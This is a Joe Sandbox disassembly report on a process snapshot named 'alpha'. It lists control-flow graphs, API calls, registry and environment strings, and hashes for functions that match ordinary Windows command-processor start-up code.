                                                                                                                                                                                                                                  control_flow_graph 207 d18273-d182b7 call d27f80 210 d182bd-d182db RegOpenKeyExW 207->210 211 d182e1-d1831b RegQueryValueExW 210->211 212 d18540-d1854c 210->212 213 d18321-d18355 RegQueryValueExW 211->213 214 d2b0f1-d2b0f8 211->214 212->210 215 d18552-d18571 time srand call d26b30 212->215 218 d18371-d183a5 RegQueryValueExW 213->218 219 d18357-d1835e 213->219 216 d2b0fa-d2b108 214->216 217 d2b10d-d2b114 214->217 216->213 217->213 221 d2b11a-d2b134 _wtol 217->221 224 d2b165-d2b16c 218->224 225 d183ab-d183df RegQueryValueExW 218->225 222 d18364-d1836a 219->222 223 d2b139-d2b140 219->223 221->213 222->218 223->218 227 d2b146-d2b160 _wtol 223->227 228 d2b181-d2b188 224->228 229 d2b16e-d2b17c 224->229 230 d183e1-d183e8 225->230 231 d183fb-d1842f RegQueryValueExW 225->231 227->218 228->225 232 d2b18e-d2b1a8 _wtol 228->232 229->225 233 d2b1ad-d2b1b4 230->233 234 d183ee-d183f5 230->234 235 d18431-d18438 231->235 236 d1846c-d184a0 RegQueryValueExW 231->236 232->225 233->231 239 d2b1ba-d2b1cb wcstol 233->239 234->231 240 d2b1d3-d2b1da 235->240 241 d1843e-d1844e 235->241 237 d184a6-d184ad 236->237 238 d2b24c-d2b254 236->238 244 d184b3-d184c3 237->244 245 d2b20f-d2b216 237->245 254 d2b25a-d2b25d 238->254 239->240 246 d2b1f5 240->246 247 d2b1dc-d2b1ed wcstol 240->247 242 d2b200-d2b202 241->242 243 d18454-d1845d 241->243 248 d2b203-d2b20a 242->248 243->248 249 d18463-d18466 243->249 250 d184c9-d184d2 244->250 251 d2b23c-d2b23e 244->251 252 d2b231 245->252 253 d2b218-d2b229 wcstol 245->253 246->242 247->246 248->236 249->236 249->248 255 d184d8-d184db 250->255 256 d2b23f-d2b241 250->256 251->256 252->251 253->252 257 d2b263-d2b269 254->257 258 d184f4 254->258 255->256 260 d184e1-d184eb 255->260 256->238 259 d184fa-d1852e RegQueryValueExW 257->259 258->259 261 d2b26e-d2b271 258->261 264 d2b283-d2b28a 259->264 265 d18534-d1853a RegCloseKey 259->265 260->254 263 d184f1 260->263 261->259 262 d2b277-d2b27e 261->262 262->259 263->258 266 d2b2d9-d2b2e1 264->266 267 d2b28c-d2b2b5 ExpandEnvironmentStringsW 264->267 265->212 266->265 270 d2b2e7-d2b2f4 call d1acb0 266->270 268 d2b2b7-d2b2c8 call d1f3a0 267->268 269 d2b2ca-d2b2cc 267->269 272 d2b2d3 268->272 269->272 270->265 272->266
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • RegOpenKeyExW.KERNELBASE(80000002,Software\Microsoft\Command Processor,00000000,02000000,?), ref: 00D182D3
                                                                                                                                                                                                                                  • RegQueryValueExW.KERNELBASE(?,DisableUNCCheck,00000000,?,?,?), ref: 00D18313
                                                                                                                                                                                                                                  • RegQueryValueExW.KERNELBASE(?,EnableExtensions,00000000,00000001,?,00001000), ref: 00D1834D
                                                                                                                                                                                                                                  • RegQueryValueExW.KERNELBASE(?,DelayedExpansion,00000000,00000001,?,00001000), ref: 00D1839D
                                                                                                                                                                                                                                  • RegQueryValueExW.KERNELBASE(?,DefaultColor,00000000,00000001,?,00001000), ref: 00D183D7
                                                                                                                                                                                                                                  • RegQueryValueExW.KERNELBASE(?,CompletionChar,00000000,00000001,?,00001000), ref: 00D18427
                                                                                                                                                                                                                                  • RegQueryValueExW.KERNELBASE(?,PathCompletionChar,00000000,00000001,?,00001000), ref: 00D18498
                                                                                                                                                                                                                                  • RegQueryValueExW.KERNELBASE(?,AutoRun,00000000,00000004,?,00001000), ref: 00D18526
                                                                                                                                                                                                                                  • RegCloseKey.KERNELBASE(?), ref: 00D1853A
                                                                                                                                                                                                                                  • time.MSVCRT(00000000), ref: 00D18554
                                                                                                                                                                                                                                  • srand.MSVCRT ref: 00D1855B
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: QueryValue$CloseOpensrandtime
                                                                                                                                                                                                                                  • String ID: AutoRun$CompletionChar$DefaultColor$DelayedExpansion$DisableUNCCheck$EnableExtensions$PathCompletionChar$Software\Microsoft\Command Processor
                                                                                                                                                                                                                                  • API String ID: 145004033-3846321370
                                                                                                                                                                                                                                  • Opcode ID: fc0896c9bfa0398d7a13c075860e86d179bc97b015dbf275b5e3d68a339a872e
                                                                                                                                                                                                                                  • Instruction ID: 5b07c895d763d373ff5e94cb1e8a7b4aaace46204886ae6fe7a34fe6e6f50e15
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: fc0896c9bfa0398d7a13c075860e86d179bc97b015dbf275b5e3d68a339a872e
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 60C1A0359003A9EADB32CB14ED05BD97778EB18706F1440D6E689E2190DBF09AC8DF39
                                                                                                                                                                                                                                  Function 00D209B1 Relevance: 38.7, APIs: 20, Strings: 2, Instructions: 242registrythreadmemoryCOMMON
                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                                                  control_flow_graph 276 d209b1-d20a12 GetCurrentThreadId OpenThread call d1e2af HeapSetInformation RegOpenKeyExW 279 d2e9c5-d2e9ea RegQueryValueExW RegCloseKey 276->279 280 d20a18-d20a50 call d21f5b call d21f1a call d187ca 276->280 283 d2e9f5-d2ea03 call d163bd call d34840 279->283 290 d20a55-d20a59 280->290 291 d2ea08-d2ea10 call d21e70 283->291 290->283 292 d20a5f-d20a66 290->292 297 d2ea12 291->297 294 d2ea58-d2ea6d _setjmp3 292->294 295 d20a6c-d20a81 _setjmp3 292->295 298 d2ea82-d2ea85 294->298 299 d2ea6f-d2ea71 294->299 300 d20a87 295->300 301 d2ea1c-d2ea24 295->301 297->301 304 d2ea87-d2ea95 call d163bd call d34840 298->304 305 d2eaaa-d2eab3 call d1dd98 298->305 299->298 306 d2ea73-d2ea7b call d21e70 299->306 302 d20a8a-d20a8c 300->302 301->302 303 d2ea2a-d2ea2d 301->303 308 d20ac5-d20ac7 302->308 309 d20a8e 302->309 303->302 329 d2ea9a-d2eaa2 call d21e70 304->329 318 d2eac6-d2eac7 call d262c0 305->318 319 d2eab5-d2eac5 _setmode 305->319 320 d2ea7d 306->320 315 d2ea52 308->315 316 d20acd-d20ad5 call d21e70 308->316 313 d20a90-d20a96 309->313 321 d20ae0-d20af1 call d1c570 313->321 322 d20a98-d20a9c 313->322 315->294 335 d20ad7 316->335 332 d2eacc-d2eaff EnterCriticalSection LeaveCriticalSection call d1c570 318->332 319->318 327 d2eb7f 320->327 336 d2ea41-d2ea49 call d21e70 321->336 337 d20af7-d20afa 321->337 322->313 328 d20a9e-d20aba call d1e310 GetConsoleOutputCP GetCPInfo call d1e2af 322->328 351 d20abf 328->351 347 d2eaa4 329->347 350 d2eb01-d2eb04 332->350 341 d20ada exit 335->341 357 d2ea4b-d2ea4d 336->357 342 d2ea32-d2ea3a call d21e70 337->342 343 d20b00-d20b04 call d1e470 337->343 341->321 360 d2ea3c 342->360 353 d20b09-d20b0b 343->353 347->305 355 d2eb06-d2eb70 EnterCriticalSection LeaveCriticalSection GetConsoleOutputCP GetCPInfo call d1e2af call d1e470 call d1e310 GetConsoleOutputCP GetCPInfo call d1e2af 350->355 356 d2eb75-d2eb7d call d21e70 350->356 351->308 353->322 359 d20b0d-d20b10 353->359 355->332 356->327 357->341 359->322 360->327
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • GetCurrentThreadId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00D209CB
                                                                                                                                                                                                                                  • OpenThread.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(001FFFFF,00000000,00000000), ref: 00D209D8
                                                                                                                                                                                                                                    • Part of subcall function 00D1E2AF: SetThreadUILanguage.KERNELBASE ref: 00D1E2C6
                                                                                                                                                                                                                                  • HeapSetInformation.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,00000001,00000000,00000000), ref: 00D209ED
                                                                                                                                                                                                                                  • RegOpenKeyExW.KERNELBASE(80000001,Software\Policies\Microsoft\Windows\System,00000000,00020019,?), ref: 00D20A0A
                                                                                                                                                                                                                                  • _setjmp3.MSVCRT ref: 00D20A72
                                                                                                                                                                                                                                  • GetConsoleOutputCP.KERNELBASE ref: 00D20AA3
                                                                                                                                                                                                                                  • GetCPInfo.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00D4C9F0), ref: 00D20AB4
                                                                                                                                                                                                                                  • exit.KERNELBASE ref: 00D20ADA
                                                                                                                                                                                                                                  • RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,DisableCMD,00000000,?,?,?), ref: 00D2E9E1
                                                                                                                                                                                                                                  • RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?), ref: 00D2E9EA
                                                                                                                                                                                                                                    • Part of subcall function 00D21F5B: VirtualQuery.API-MS-WIN-CORE-MEMORY-L1-1-0(?,?,0000001C,00000000,?,00000000,?,?,?,?,?,?,00D2EF7C,?,00000000,00000000), ref: 00D21FB2
                                                                                                                                                                                                                                    • Part of subcall function 00D21F5B: VirtualQuery.API-MS-WIN-CORE-MEMORY-L1-1-0(?,?,0000001C,?,?,?,?,?,?,00D2EF7C,?,00000000,00000000), ref: 00D21FCE
                                                                                                                                                                                                                                    • Part of subcall function 00D21F1A: GetConsoleOutputCP.KERNELBASE(00D20A41), ref: 00D21F1A
                                                                                                                                                                                                                                    • Part of subcall function 00D21F1A: GetCPInfo.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00D4C9F0), ref: 00D21F2B
                                                                                                                                                                                                                                    • Part of subcall function 00D21F1A: memset.MSVCRT ref: 00D21F45
                                                                                                                                                                                                                                    • Part of subcall function 00D187CA: InitializeCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(00D4CA04), ref: 00D187EE
                                                                                                                                                                                                                                    • Part of subcall function 00D187CA: EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00D187FA
                                                                                                                                                                                                                                    • Part of subcall function 00D187CA: LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00D1880E
                                                                                                                                                                                                                                    • Part of subcall function 00D187CA: SetConsoleCtrlHandler.API-MS-WIN-CORE-CONSOLE-L1-1-0(00D37460,00000001), ref: 00D1881B
                                                                                                                                                                                                                                    • Part of subcall function 00D187CA: _get_osfhandle.MSVCRT ref: 00D18828
                                                                                                                                                                                                                                    • Part of subcall function 00D187CA: GetConsoleMode.KERNELBASE(00000000), ref: 00D18830
                                                                                                                                                                                                                                    • Part of subcall function 00D187CA: _get_osfhandle.MSVCRT ref: 00D1883C
                                                                                                                                                                                                                                    • Part of subcall function 00D187CA: GetConsoleMode.KERNELBASE(00000000), ref: 00D18844
                                                                                                                                                                                                                                    • Part of subcall function 00D187CA: GetCommandLineW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00D1886A
                                                                                                                                                                                                                                    • Part of subcall function 00D187CA: GetCommandLineW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00D188A5
                                                                                                                                                                                                                                  • _setjmp3.MSVCRT ref: 00D2EA5E
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  • Software\Policies\Microsoft\Windows\System, xrefs: 00D20A00
                                                                                                                                                                                                                                  • DisableCMD, xrefs: 00D2E9D9
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Console$CriticalQuerySectionThread$CommandInfoLineModeOpenOutputVirtual_get_osfhandle_setjmp3$CloseCtrlCurrentEnterHandlerHeapInformationInitializeLanguageLeaveValueexitmemset
                                                                                                                                                                                                                                  • String ID: DisableCMD$Software\Policies\Microsoft\Windows\System
                                                                                                                                                                                                                                  • API String ID: 4238206819-1920437939
                                                                                                                                                                                                                                  • Opcode ID: ef19b0e5ddb68a9d7c29fe006705c02f7c6596e052c0e11772b93d1f7ddbbd3d
                                                                                                                                                                                                                                  • Instruction ID: c95aefcfd522876c45e83063503a38dcb81061ef5d9f7bf380b9a5212719fb88
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: ef19b0e5ddb68a9d7c29fe006705c02f7c6596e052c0e11772b93d1f7ddbbd3d
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 9F71FA75504325BFEB10AF74BC469BE7BACEF25349B184529F902E12A2EF34C8408B71
                                                                                                                                                                                                                                  Function 00D200E9 Relevance: 24.7, APIs: 6, Strings: 8, Instructions: 169COMMON
                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                                                  control_flow_graph 370 d200e9-d20140 memset call d1e3f0 373 d20146-d2014b 370->373 374 d2e615-d2e61d call d21e70 370->374 375 d20151-d2016a GetModuleFileNameW call d1ec2e 373->375 376 d2e627 373->376 380 d2e61f-d2e621 exit 374->380 381 d2e632-d2e63e call d1a976 375->381 384 d20170-d2017e call d1ec2e 375->384 376->381 380->376 388 d2e643-d2e64f call d1a976 381->388 384->388 389 d20184-d20192 call d1ec2e 384->389 394 d2e654-d2e660 call d1a976 388->394 389->394 395 d20198-d201a4 call d1ec2e 389->395 400 d2e665-d2e66a 394->400 395->400 401 d201aa-d201b6 call d1ec2e 395->401 402 d2e672-d2e67c call d1a62f 400->402 403 d2e66c 400->403 408 d2e714-d2e724 _wcsicmp 401->408 409 d201bc-d201c4 401->409 410 d2e6f8-d2e6fd 402->410 411 d2e67e-d2e691 _wcsupr 402->411 403->402 408->409 414 d2e72a-d2e734 408->414 412 d201c6-d201d8 call d18bc7 409->412 413 d201ee-d201f3 409->413 417 d2e705-d2e70f call d1a976 410->417 418 d2e6ff 410->418 415 d2e693 411->415 416 d2e699 411->416 424 d201e2-d201ed call d26b30 412->424 425 d201da-d201e1 ??_V@YAXPAX@Z 412->425 413->412 414->409 415->416 420 d2e69c-d2e6a5 416->420 417->408 418->417 420->420 423 d2e6a7-d2e6b0 420->423 427 d2e6b2-d2e6b8 423->427 428 d2e6ba-d2e6ce call d201f5 423->428 425->424 427->428 433 d2e6d0-d2e6d2 428->433 434 d2e6e1-d2e6e3 428->434 437 d2e6d4 433->437 438 d2e6da-d2e6df 433->438 435 d2e6e5 434->435 436 d2e6eb 434->436 435->436 439 d2e6f0-d2e6f3 call d1fc40 436->439 437->438 438->439 439->410
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D2011A
                                                                                                                                                                                                                                    • Part of subcall function 00D1E3F0: memset.MSVCRT ref: 00D1E455
                                                                                                                                                                                                                                  • GetModuleFileNameW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(00000000,?,?,-00000001,?,?,00000000), ref: 00D20156
                                                                                                                                                                                                                                    • Part of subcall function 00D1EC2E: GetEnvironmentVariableW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,00D3E590,00002000,?,00D58BF0,00000000,?,?,00D18F0D), ref: 00D1EC51
                                                                                                                                                                                                                                    • Part of subcall function 00D1EC2E: _wcsicmp.MSVCRT ref: 00D1EC77
                                                                                                                                                                                                                                    • Part of subcall function 00D1EC2E: _wcsicmp.MSVCRT ref: 00D1EC8D
                                                                                                                                                                                                                                    • Part of subcall function 00D1EC2E: _wcsicmp.MSVCRT ref: 00D1ECA3
                                                                                                                                                                                                                                    • Part of subcall function 00D1EC2E: _wcsicmp.MSVCRT ref: 00D1ECB9
                                                                                                                                                                                                                                    • Part of subcall function 00D1EC2E: _wcsicmp.MSVCRT ref: 00D1ECCF
                                                                                                                                                                                                                                    • Part of subcall function 00D1EC2E: _wcsicmp.MSVCRT ref: 00D1ECE5
                                                                                                                                                                                                                                    • Part of subcall function 00D1EC2E: _wcsicmp.MSVCRT ref: 00D1ECF7
                                                                                                                                                                                                                                    • Part of subcall function 00D1EC2E: _wcsicmp.MSVCRT ref: 00D1ED0D
                                                                                                                                                                                                                                  • ??_V@YAXPAX@Z.MSVCRT(?), ref: 00D201DB
                                                                                                                                                                                                                                  • exit.MSVCRT ref: 00D2E621
                                                                                                                                                                                                                                  • _wcsupr.MSVCRT ref: 00D2E683
                                                                                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 00D2E71A
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: _wcsicmp$memset$EnvironmentFileModuleNameVariable_wcsuprexit
                                                                                                                                                                                                                                  • String ID: $P$G$.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC$COMSPEC$KEYS$PATH$PATHEXT$PROMPT$\CMD.EXE
                                                                                                                                                                                                                                  • API String ID: 2336066422-4197029667
                                                                                                                                                                                                                                  • Opcode ID: 9cc3d3971055bbc3f72c473cfd6adde73f631a983eba7bc60fff95932fbbe435
                                                                                                                                                                                                                                  • Instruction ID: 1e2addfce3babc5d12b3bee34ad836992aa843bd8590a79d9f6088b84c3a4fda
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 9cc3d3971055bbc3f72c473cfd6adde73f631a983eba7bc60fff95932fbbe435
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: D251B531B00326ABDF149B64FC556FE7765DF70309F084569A806E7281EF70DE818AB1
                                                                                                                                                                                                                                  Function 00D18BC7 Relevance: 24.3, APIs: 16, Instructions: 312COMMON
                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                                                  control_flow_graph 441 d18bc7-d18be4 call d27d90 444 d2b5d4-d2b5d8 441->444 445 d18bea-d18c16 call d25a2e call d1e3f0 441->445 444->445 447 d2b5de-d2b5e3 444->447 452 d2b774-d2b77a call d261e6 445->452 453 d18c1c-d18c2d call d1acb0 445->453 449 d18e67-d18e76 447->449 456 d2b77f 452->456 453->452 459 d18c33-d18c3a 453->459 458 d2b781 456->458 460 d18c3d-d18c46 459->460 460->460 461 d18c48-d18c4c 460->461 462 d18c4f-d18c59 461->462 463 d18c66-d18c70 462->463 464 d18c5b-d18c60 462->464 466 d2b5f0 463->466 467 d18c76-d18c85 GetCurrentDirectoryW 463->467 464->463 465 d2b5e8-d2b5eb 464->465 465->462 468 d2b5fb 466->468 467->468 469 d18c8b-d18cb0 towupper iswalpha 467->469 470 d2b606 468->470 469->470 471 d18cb6-d18cba 469->471 474 d2b60f 470->474 471->470 472 d18cc0-d18cde towupper 471->472 473 d18ce4-d18cf8 GetFullPathNameW 472->473 472->474 475 d2b61a-d2b622 GetLastError 473->475 476 d18cfe-d18d01 473->476 474->475 477 d2b627-d2b647 call d261e6 _local_unwind4 475->477 478 d18d07-d18d0e 476->478 479 d2b64c-d2b66a call d261e6 _local_unwind4 476->479 482 d18d14-d18d19 478->482 483 d2b674 478->483 479->483 486 d2b747-d2b767 call d261e6 _local_unwind4 482->486 487 d18d1f-d18d23 482->487 490 d2b67f 483->490 486->458 489 d18d29-d18d2d 487->489 487->490 489->486 492 d18d33-d18d37 489->492 493 d2b68a 490->493 492->493 494 d18d3d 492->494 497 d2b695 493->497 495 d18d40-d18d4a 494->495 495->495 496 d18d4c-d18d52 495->496 496->497 498 d18d58 496->498 500 d2b6a0 497->500 499 d18d5b-d18d73 call d27d82 498->499 504 d18d82-d18d8c 499->504 505 d18d75-d18d7c 499->505 503 d2b6ab-d2b6b6 GetLastError 500->503 506 d18da2-d18da9 503->506 507 d2b6bc-d2b6bf 503->507 504->500 509 d18d92-d18d9c GetFileAttributesW 504->509 505->504 508 d18e77-d18e7a 505->508 511 d18dc9-d18dd2 506->511 512 d18dab-d18db0 506->512 507->506 510 d2b6c5-d2b6c8 507->510 508->499 509->503 509->506 510->477 513 d2b6ce 510->513 516 d18dd4-d18dd9 511->516 517 d18dfa-d18dfc 511->517 514 d2b6d3 512->514 515 d18db6-d18dbc call d20207 512->515 513->506 521 d2b6de 514->521 527 d18dc1-d18dc3 515->527 516->521 522 d18ddf-d18de9 GetFileAttributesW 516->522 518 d18e09-d18e0e 517->518 519 d18dfe-d18e01 517->519 525 d18e10-d18e19 SetCurrentDirectoryW 518->525 526 d18e87-d18e8d 518->526 523 d18e03-d18e07 519->523 524 d18e1f-d18e24 519->524 528 d2b6e9-d2b6f4 GetLastError 521->528 522->528 529 d18def-d18df4 522->529 523->518 523->524 530 d18e26-d18e30 call d1a976 524->530 531 d18e8f-d18e95 524->531 525->475 525->524 526->525 527->479 527->511 528->477 532 d2b6fa 528->532 529->517 533 d2b6ff-d2b722 call d261e6 _local_unwind4 529->533 539 d2b727-d2b745 call d261e6 _local_unwind4 530->539 540 d18e36-d18e3e 530->540 531->530 532->477 533->449 539->456 542 d18e40-d18e65 call d18e9e call d18e7f call d261e6 540->542 543 d18e97-d18e9c 540->543 542->449 543->542
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                    • Part of subcall function 00D25A2E: memset.MSVCRT ref: 00D25A5A
                                                                                                                                                                                                                                    • Part of subcall function 00D1E3F0: memset.MSVCRT ref: 00D1E455
                                                                                                                                                                                                                                  • GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,-00000105,00D3C9B0,00000240,00D21E92,00000000,00000000,00D2ACE0,00000000,00000000,?,00000104,?), ref: 00D18C7A
                                                                                                                                                                                                                                  • towupper.MSVCRT ref: 00D18C8F
                                                                                                                                                                                                                                  • iswalpha.MSVCRT ref: 00D18CA4
                                                                                                                                                                                                                                  • towupper.MSVCRT ref: 00D18CC4
                                                                                                                                                                                                                                  • GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,?,?,?), ref: 00D18CF0
                                                                                                                                                                                                                                  • GetFileAttributesW.KERNELBASE(?), ref: 00D18D93
                                                                                                                                                                                                                                  • GetFileAttributesW.KERNELBASE(?), ref: 00D18DE0
                                                                                                                                                                                                                                  • SetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?), ref: 00D18E11
                                                                                                                                                                                                                                  • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00D2B6AB
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: AttributesCurrentDirectoryFilememsettowupper$ErrorFullLastNamePathiswalpha
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 1133067188-0
                                                                                                                                                                                                                                  • Opcode ID: 5bcea0562dd819fdc0bd868acd4c432ed3998a015d773734d26bf1fbed7b6bb4
                                                                                                                                                                                                                                  • Instruction ID: 26ee23d4f09e93ef72b737d076bb14b14f8bb835bdc8ee1b4fd344afde80cda2
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 5bcea0562dd819fdc0bd868acd4c432ed3998a015d773734d26bf1fbed7b6bb4
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: ACB1AF30A04225AADB28EB64FD45AFDB374EF24315F18416AE41AE7190EF70DE84DB71
                                                                                                                                                                                                                                  Function 00D1E310 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 78COMMON
                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                                                  control_flow_graph 551 d1e310-d1e341 _get_osfhandle SetConsoleMode _get_osfhandle GetConsoleMode 552 d1e343-d1e355 551->552 553 d1e357-d1e370 _get_osfhandle GetConsoleMode 551->553 552->553 554 d1e3bc-d1e3d9 _get_osfhandle SetConsoleMode 552->554 555 d1e372-d1e37f 553->555 556 d1e3bb 553->556 554->553 557 d1e3df-d2dc17 554->557 558 d1e381-d1e39a _get_osfhandle SetConsoleMode 555->558 559 d1e3a0-d1e3a9 555->559 557->553 563 d2dc1d-d2dc45 _get_osfhandle SetConsoleMode 557->563 558->559 560 d1e3ab-d1e3b8 559->560 561 d1e3ba 559->561 560->561 561->556 563->553
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • _get_osfhandle.MSVCRT ref: 00D1E318
                                                                                                                                                                                                                                  • SetConsoleMode.KERNELBASE(00000000), ref: 00D1E322
                                                                                                                                                                                                                                  • _get_osfhandle.MSVCRT ref: 00D1E32F
                                                                                                                                                                                                                                  • GetConsoleMode.KERNELBASE(00000000), ref: 00D1E339
                                                                                                                                                                                                                                  • _get_osfhandle.MSVCRT ref: 00D1E35E
                                                                                                                                                                                                                                  • GetConsoleMode.KERNELBASE(00000000), ref: 00D1E368
                                                                                                                                                                                                                                  • _get_osfhandle.MSVCRT ref: 00D1E390
                                                                                                                                                                                                                                  • SetConsoleMode.KERNELBASE(00000000), ref: 00D1E39A
                                                                                                                                                                                                                                  • _get_osfhandle.MSVCRT ref: 00D1E3C7
                                                                                                                                                                                                                                  • SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000), ref: 00D1E3D1
                                                                                                                                                                                                                                  • _get_osfhandle.MSVCRT ref: 00D2DC35
                                                                                                                                                                                                                                  • SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000), ref: 00D2DC3F
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
